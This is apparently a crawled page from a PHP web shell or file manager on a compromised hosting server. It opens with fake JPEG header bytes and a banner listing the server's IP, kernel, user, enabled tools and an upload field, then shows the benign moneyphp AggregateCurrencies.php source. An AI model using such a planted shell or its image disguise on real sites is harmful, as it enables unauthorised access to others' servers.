����JFIF��x�x����'
| Server IP : 78.140.185.180 / Your IP : 216.73.216.170 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/builderbox/./././www/vendor/moneyphp/money/src/Currencies/ |
Upload File : |
<?php
namespace Money\Currencies;
use Money\Currencies;
use Money\Currency;
use Money\Exception\UnknownCurrencyException;
/**
* Aggregates several currency repositories.
*
* @author Márk Sági-Kazár <mark.sagikazar@gmail.com>
*/
final class AggregateCurrencies implements Currencies
{
/**
* @var Currencies[]
*/
private $currencies;
/**
* @param Currencies[] $currencies
*/
public function __construct(array $currencies)
{
foreach ($currencies as $c) {
if (false === $c instanceof Currencies) {
throw new \InvalidArgumentException('All currency repositories must implement '.Currencies::class);
}
}
$this->currencies = $currencies;
}
/**
* {@inheritdoc}
*/
public function contains(Currency $currency)
{
foreach ($this->currencies as $currencies) {
if ($currencies->contains($currency)) {
return true;
}
}
return false;
}
/**
* {@inheritdoc}
*/
public function subunitFor(Currency $currency)
{
foreach ($this->currencies as $currencies) {
if ($currencies->contains($currency)) {
return $currencies->subunitFor($currency);
}
}
throw new UnknownCurrencyException('Cannot find currency '.$currency->getCode());
}
/**
* {@inheritdoc}
*/
public function getIterator()
{
$iterator = new \AppendIterator();
foreach ($this->currencies as $currencies) {
$iterator->append($currencies->getIterator());
}
return $iterator;
}
}